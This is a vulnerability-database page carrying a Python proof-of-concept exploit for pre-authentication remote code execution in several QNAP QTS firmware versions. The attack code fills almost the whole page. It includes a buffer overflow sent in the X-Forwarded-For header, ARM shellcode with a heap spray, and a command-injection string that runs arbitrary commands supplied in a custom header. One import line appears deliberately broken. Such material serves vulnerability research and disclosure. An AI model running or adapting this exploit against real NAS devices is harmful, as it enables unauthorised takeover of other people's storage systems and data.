Lucene search

K
seebugNu11SSV:97013
HistoryDec 26, 2017 - 12:00 a.m.

Pre-auth Remote Code Execution exploit for QNAP QTS

2017-12-2600:00:00
nu11
www.seebug.org
841

0.031 Low

EPSS

Percentile

91.2%


                                                #   !/usr/bin/env python
#   -*- coding: iso-8859-15 -*-
#
#   Pre-auth Remote Code Execution exploit for QNAP QTS 
#   4.2.6 build 20171026, 4.3.3.0378 build 20171117, 4.3.4.0387 #(Beta 2) build 2017111
#   
#   Just a quick dirty RCE PoC to make your QNAP sing "XMAS" in morse.
#   
#   Author: Andrea Palazzo (@cogitoergor00t)
#   E-mail: not-interested-in-chinese-spammers@seriously-dont-crawler-this.lol
#   Web: https://truel.it
#   Lab: https://lab.truel.it
#
#   While collecting material for writing-up CVE-2017-17033 I noticed this was fixed too, so it's probably one of CVE-2017-17027 | CVE-2017-17028 | CVE-2017-17029 | CVE-2017-17030 | CVE-2017-17031 | CVE-2017-17032.
#   More info: https://www.qnap.com/en/security-advisory/nas-201712-15
#
#   This version has been developed against model TS-212P running QTS 4.3.3.0299, but could easily adjusted for <= 4.3.3.0378 (you'll find a little present in the comments)
#
#   --------------

import sys, argparse
from non.ha import anza

try:
    import requests
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except ImportError:
    print "Do you even web bro?"
    sys.exit(0)

exploit_data = {
    "target_endpoint": "/cgi-bin/filemanager/wfm2Login.cgi",
    "payload": "pic_raw 81;pic_raw 80;pic_raw 80;pic_raw 81;sleep 1;pic_raw 81;pic_raw 81;sleep 1;pic_raw 80;pic_raw 81;sleep 1;pic_raw 80;pic_raw 80;pic_raw 80;#",
    "bof": "A"*92+"\xff\x60\x66\xff"+"\x90\x60\xff", #PADDING+SP+PC
    "shellcode":    "\x2d\xd4\xa0\xe1" + #mov sp, sp, lsr #8
                    #old popen @ 22c9c
                    #07/07  @22e24
                    #28/07 @230dc
                    #05/09 @21e90
                    "\x86\x3b\xa0\xe3" + #mov r3, 0x21800
                    "\x69\x3e\x83\xe2" + #add r3, 0x690
                    "\x13\xff\x2f\xe1"   #bx r3
}

def request(target, data, headers):
    url = target + exploit_data['target_endpoint']
    return requests.post(url, headers = headers, data = data, verify = False)

def vulnerable(target):
    print ">> Checking if likely to be vulnerable"
    
    headers = {
        'User-Agent': 'Vuln tester',
        'X-Forwarded-For': "A" * 200
    }

    try:
        r = request(target, "user=admin", headers)
    except:
        print "Something wrong: {}".format(sys.exc_info()[0])
        sys.exit()
    return (r.status_code == 500)

def spray(n):
    spray = ""
    for i in range(n):
        spray += '{}={}&'.format(exploit_data["shellcode"]*3+"\x08\x80\xa0\xe1", exploit_data["shellcode"]*3+"\x08\x80\xa0\xe1")
    return spray[:-1]

def exploit(target):
    print "Let's " + exploit_data['payload'] + "\n! COULD TAKE A WHILE !"
    
    if requests.get(target + "/cgi-bin/pwn").status_code == 200:
        print "... but first you need to clean up your mess, don't you?"
        sys.exit()
 
    headers = {
        'W00T': exploit_data['payload'],
        'X-Forwarded-For': exploit_data["bof"] #There were others, I'm sure you can figure'em out yourself if you need
    }
    data = spray(31337) + "&user=touch /home/httpd/cgi-bin/pwn; eval $HTTP_W00T;"
    
    while True:
        #print '.'
        try:
            request(target, data, headers)
            if requests.get(target + "/cgi-bin/pwn").status_code == 200:
                print ">> w00t :)"
                break
        except:
            print "Something wrong: {}".format(sys.exc_info()[0])
            sys.exit()

     

if __name__ == "__main__":

    print ""
    parser = argparse.ArgumentParser(description = 'Pre-auth Remote Code Execution exploit for QNAP QTS <= 4.2.6 build 20171026, 4.3.3.0378 build 20171117, 4.3.4.0387 (Beta 2) build 20171116')
    parser.add_argument('-t', '--target', dest = 'http(s)://uri[:port]', required = True)
    parser.add_argument('-c', '--check', help = 'No exploitation will be performed.', action = 'store_true')
    args = parser.parse_args()

    target = vars(args)['http(s)://uri[:port]']

    print "\n------------------------------------------\n" + \
            "Pre-auth Remote Code Execution exploit for \n" + \
            "QNAP QTS <=\t4.2.6 build 20171026\n\t\t4.3.3.0378 build 20171117\n\t\t4.3.4.0387 build 20171116\n\t\t(Beta 2)" +  \
            "\n------------------------------------------\n" + \
            "@cogitoergor00t\t\t https://truel.it" + \
            "\n------------------------------------------\n" \

    print ">> Targeting " + target

    if not vulnerable(target):
        print ">< Nothing to do here :("
        sys.exit(0)

    print ">> Probably vulnerable"

    if (args.check):
        print ">> See you"
    else:
        print ">> Gonna make this baby sing\n"
        exploit(target)
                              

0.031 Low

EPSS

Percentile

91.2%